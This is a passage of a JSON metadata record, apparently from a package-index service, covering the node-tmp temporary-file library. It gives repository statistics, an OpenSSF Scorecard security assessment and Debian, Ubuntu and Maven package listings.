{"id":377587,"url":"https://github.com/raszi/node-tmp","last_synced_at":"2026-07-23T12:02:22.813Z","repository":{"id":48335217,"uuid":"2313213","full_name":"raszi/node-tmp","owner":"raszi","description":"Temporary file and directory creator for node.js","archived":false,"fork":false,"pushed_at":"2026-05-27T15:47:49.000Z","size":1501,"stargazers_count":776,"open_issues_count":11,"forks_count":101,"subscribers_count":5,"default_branch":"master","last_synced_at":"2026-07-22T08:29:45.042Z","etag":null,"topics":["library","nodejs","tempdir","tempfiles"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/raszi.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2011-09-02T10:39:43.000Z","updated_at":"2026-07-21T06:36:19.000Z","dependencies_parsed_at":"2024-02-26T01:49:31.508Z","dependency_job_id":"a8011771-a0ff-41ec-ac6b-1eecf41924f1","html_url":"https://github.com/raszi/node-tmp","commit_stats":{"total_commits":350,"total_committers":38,"mean_commits":9.210526315789474,"dds":"0.46285714285714286","last_synced_commit":"5f0b2525ed6f6a977ea0cc272d4903d9d2216059"},"previous_names":[],"tags_count":42,"template":false,"template_full_name":null,"purl":"pkg:github/raszi/node-tmp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/sbom","scorecard":{"id":762544,"data":{"date":"2025-08-11","repo":{"name":"github.com/raszi/node-tmp","commit":"3d2fe387f3f91b13830b9182faa02c3231ea8258"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.9,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/node.js.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 3/14 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":4,"reason":"5 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":3,"reason":"7 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-78xj-cgh5-2h22","Warn: Project is vulnerable to: GHSA-2p57-rm9w-gvfp","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5","Warn: Project is vulnerable to: GHSA-f5x3-32g6-xq36","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T23:49:23.651Z","repository_id":48335217,"created_at":"2025-08-22T23:49:23.651Z","updated_at":"2025-08-22T23:49:23.651Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":35762224,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-07-22T02:00:06.236Z","response_time":124,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"raszi","name":"KARASZI István","uuid":"76983","kind":"user","description":"","email":"","website":"https://function-artisans.com/","location":"Budapest, Hungary, Europe","twitter":"ikaraszi","company":"@metrictech","icon_url":"https://avatars.githubusercontent.com/u/76983?u=e1c8f3d580583bb6dd41cc0b8811a77d74f6b531\u0026v=4","repositories_count":169,"last_synced_at":"2026-04-04T10:26:26.158Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/raszi","funding_links":[],"total_stars":1007,"followers":59,"following":23,"created_at":"2022-11-02T16:20:11.698Z","updated_at":"2026-04-04T10:26:26.158Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi/repositories"},"packages":[{"id":13795010,"name":"node-tmp","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/raszi/node-tmp","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T16:14:55.281Z","latest_release_published_at":"2026-02-13T16:14:55.281Z","latest_release_number":"0.2.2+dfsg+~0.2.3-1","last_synced_at":"2026-03-13T21:27:01.406Z","created_at":"2026-02-13T16:14:54.972Z","updated_at":"2026-03-13T21:27:01.406Z","registry_url":"https://launchpad.net/ubuntu/+source/node-tmp","install_command":"apt-get install node-tmp","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"extra","binary":"node-tmp","standards_version":"4.6.1","maintainer":"Debian Javascript Maintainers \u003cpkg-javascript-devel@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-sequence-nodejs, mocha \u003c!nocheck\u003e, node-rimraf \u003c!nocheck\u003e","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-13T16:15:15.728Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/node-tmp?arch=source\u0026distro=ubuntu-23.10\u0026repository_url=https://launchpad.net/ubuntu/mantic","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/node-tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/node-tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/node-tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/node-tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/node-tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/node-tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/node-tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/node-tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/node-tmp/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.10","url":"https://launchpad.net/ubuntu/mantic","ecosystem":"ubuntu","default":false,"packages_count":36642,"maintainers_count":0,"namespaces_count":4,"keywords_count":2223,"github":"ubuntu","metadata":{"codename":"mantic","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":444},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:48.636Z","updated_at":"2026-06-10T05:17:48.008Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/namespaces"}},{"id":13400101,"name":"node-tmp","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/raszi/node-tmp","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-06T06:37:23.017Z","latest_release_published_at":"2026-02-06T06:37:23.017Z","latest_release_number":"0.2.2+dfsg+~0.2.3-1","last_synced_at":"2026-03-06T07:03:31.885Z","created_at":"2026-02-06T06:37:22.722Z","updated_at":"2026-03-06T07:39:43.124Z","registry_url":"https://launchpad.net/ubuntu/+source/node-tmp","install_command":"apt-get install node-tmp","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"extra","binary":"node-tmp","standards_version":"4.6.1","maintainer":"Debian Javascript Maintainers \u003cpkg-javascript-devel@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-sequence-nodejs, mocha \u003c!nocheck\u003e, node-rimraf \u003c!nocheck\u003e","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/node-tmp?arch=source\u0026distro=ubuntu-24.04","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/node-tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/node-tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/node-tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/node-tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/node-tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/node-tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/node-tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/node-tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/node-tmp/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.04","url":"https://launchpad.net/ubuntu/noble","ecosystem":"ubuntu","default":true,"packages_count":37306,"maintainers_count":0,"namespaces_count":4,"keywords_count":1701,"github":"ubuntu","metadata":{"codename":"noble","funded_packages_count":198},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:45.928Z","updated_at":"2026-06-10T05:17:44.581Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/namespaces"}},{"id":13597421,"name":"node-tmp","ecosystem":"debian","description":null,"homepage":"http://github.com/raszi/node-tmp","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["javascript"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-11T10:31:58.699Z","latest_release_published_at":"2026-02-11T10:31:58.699Z","latest_release_number":"0.0.31-1","last_synced_at":"2026-03-13T15:05:42.065Z","created_at":"2026-02-11T10:31:58.526Z","updated_at":"2026-03-13T15:05:42.066Z","registry_url":"https://tracker.debian.org/pkg/node-tmp","install_command":"apt-get install node-tmp","documentation_url":"https://packages.debian.org/buster/node-tmp","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"node-tmp","standards_version":"4.0.0","maintainer":"Debian Javascript Maintainers \u003cpkg-javascript-devel@lists.alioth.debian.org\u003e","build_depends":"debhelper (\u003e= 9), dh-buildinfo, nodejs, node-vows, node-os-tmpdir","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T15:12:15.501Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/node-tmp?arch=source\u0026distro=debian-10\u0026repository_url=https://packages.debian.org/buster","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/node-tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/node-tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/node-tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/node-tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/node-tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/node-tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/node-tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/node-tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/node-tmp/codemeta","maintainers":[],"registry":{"name":"debian-10","url":"https://packages.debian.org/buster","ecosystem":"debian","default":false,"packages_count":28836,"maintainers_count":0,"namespaces_count":3,"keywords_count":915,"github":"debian","metadata":{"codename":"buster","mirror":"http://archive.debian.org/debian","funded_packages_count":104},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:50.156Z","updated_at":"2026-07-10T05:03:02.305Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/namespaces"}},{"id":13523594,"name":"node-tmp","ecosystem":"debian","description":null,"homepage":"https://github.com/raszi/node-tmp","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["javascript"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-10T22:11:24.137Z","latest_release_published_at":"2026-02-10T22:11:24.137Z","latest_release_number":"0.2.1+dfsg-1","last_synced_at":"2026-03-14T02:22:00.979Z","created_at":"2026-02-10T22:11:23.936Z","updated_at":"2026-03-14T02:22:00.979Z","registry_url":"https://tracker.debian.org/pkg/node-tmp","install_command":"apt-get install node-tmp","documentation_url":"https://packages.debian.org/bullseye/node-tmp","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"node-tmp","standards_version":"4.5.0","maintainer":"Debian Javascript Maintainers \u003cpkg-javascript-devel@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), mocha \u003c!nocheck\u003e, node-rimraf \u003c!nocheck\u003e, dh-sequence-nodejs","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T14:23:30.069Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/node-tmp?arch=source\u0026distro=debian-11\u0026repository_url=https://packages.debian.org/bullseye","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/node-tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/node-tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/node-tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/node-tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/node-tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/node-tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/node-tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/node-tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/node-tmp/codemeta","maintainers":[],"registry":{"name":"debian-11","url":"https://packages.debian.org/bullseye","ecosystem":"debian","default":false,"packages_count":31268,"maintainers_count":0,"namespaces_count":3,"keywords_count":764,"github":"debian","metadata":{"codename":"bullseye","funded_packages_count":100},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:49.702Z","updated_at":"2026-06-10T05:17:51.942Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/namespaces"}},{"id":13744777,"name":"node-tmp","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/raszi/node-tmp","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T05:48:58.394Z","latest_release_published_at":"2026-02-13T05:48:58.394Z","latest_release_number":"0.1.0+dfsg-6","last_synced_at":"2026-03-13T18:30:12.350Z","created_at":"2026-02-13T05:48:58.190Z","updated_at":"2026-03-13T18:30:12.351Z","registry_url":"https://launchpad.net/ubuntu/+source/node-tmp","install_command":"apt-get install node-tmp","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"extra","binary":"node-tmp","standards_version":"4.5.0","maintainer":"Debian Javascript Maintainers \u003cpkg-javascript-devel@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 12), mocha \u003c!nocheck\u003e, node-rimraf \u003c!nocheck\u003e, pkg-js-tools (\u003e= 0.9.17~)","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-13T05:48:58.825Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/node-tmp?arch=source\u0026distro=ubuntu-20.04\u0026repository_url=https://launchpad.net/ubuntu/focal","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/node-tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/node-tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/node-tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/node-tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/node-tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/node-tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/node-tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/node-tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/node-tmp/codemeta","maintainers":[],"registry":{"name":"ubuntu-20.04","url":"https://launchpad.net/ubuntu/focal","ecosystem":"ubuntu","default":false,"packages_count":30789,"maintainers_count":0,"namespaces_count":4,"keywords_count":1430,"github":"ubuntu","metadata":{"codename":"focal","funded_packages_count":165},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:47.233Z","updated_at":"2026-06-10T05:17:46.717Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/namespaces"}},{"id":13660341,"name":"node-tmp","ecosystem":"debian","description":null,"homepage":"https://github.com/raszi/node-tmp","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["javascript"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-12T08:37:52.744Z","latest_release_published_at":"2026-02-12T08:37:52.744Z","latest_release_number":"0.2.2+dfsg+~0.2.3-1.1~deb13u1","last_synced_at":"2026-03-14T07:08:23.449Z","created_at":"2026-02-12T08:37:52.561Z","updated_at":"2026-03-14T07:08:23.449Z","registry_url":"https://tracker.debian.org/pkg/node-tmp","install_command":"apt-get install node-tmp","documentation_url":"https://packages.debian.org/trixie/node-tmp","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"node-tmp","standards_version":"4.6.1","maintainer":"Debian Javascript Maintainers \u003cpkg-javascript-devel@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-sequence-nodejs, mocha \u003c!nocheck\u003e, node-rimraf \u003c!nocheck\u003e","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-12T08:37:52.792Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/node-tmp?arch=source\u0026distro=debian-13\u0026repository_url=https://packages.debian.org/trixie","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/node-tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/node-tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/node-tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/node-tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/node-tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/node-tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/node-tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/node-tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/node-tmp/codemeta","maintainers":[],"registry":{"name":"debian-13","url":"https://packages.debian.org/trixie","ecosystem":"debian","default":false,"packages_count":38024,"maintainers_count":0,"namespaces_count":4,"keywords_count":1987,"github":"debian","metadata":{"codename":"trixie","funded_packages_count":316},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:50.448Z","updated_at":"2026-06-10T05:17:04.542Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/namespaces"}},{"id":14561648,"name":"org.mvnpm:tmp","ecosystem":"maven","description":"Temporary file and directory creator","homepage":"http://github.com/raszi/node-tmp","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":[],"namespace":"org.mvnpm","versions_count":8,"first_release_published_at":"2024-01-16T16:19:49.000Z","latest_release_published_at":"2026-05-28T18:04:22.000Z","latest_release_number":"0.2.7","last_synced_at":"2026-07-23T01:12:03.623Z","created_at":"2026-05-28T20:02:08.168Z","updated_at":"2026-07-23T01:12:03.623Z","registry_url":"https://central.sonatype.com/artifact/org.mvnpm/tmp/","install_command":null,"documentation_url":"https://appdoc.app/artifact/org.mvnpm/tmp/","metadata":{},"repo_metadata":{},"repo_metadata_updated_at":"2026-05-28T20:40:51.667Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":27.11049515510734,"dependent_packages_count":38.883576085471574,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":32.99703562028946},"purl":"pkg:maven/org.mvnpm/tmp","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/maven/org.mvnpm:tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/maven/org.mvnpm:tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/maven/org.mvnpm:tmp/dependencies","status":null,"fundi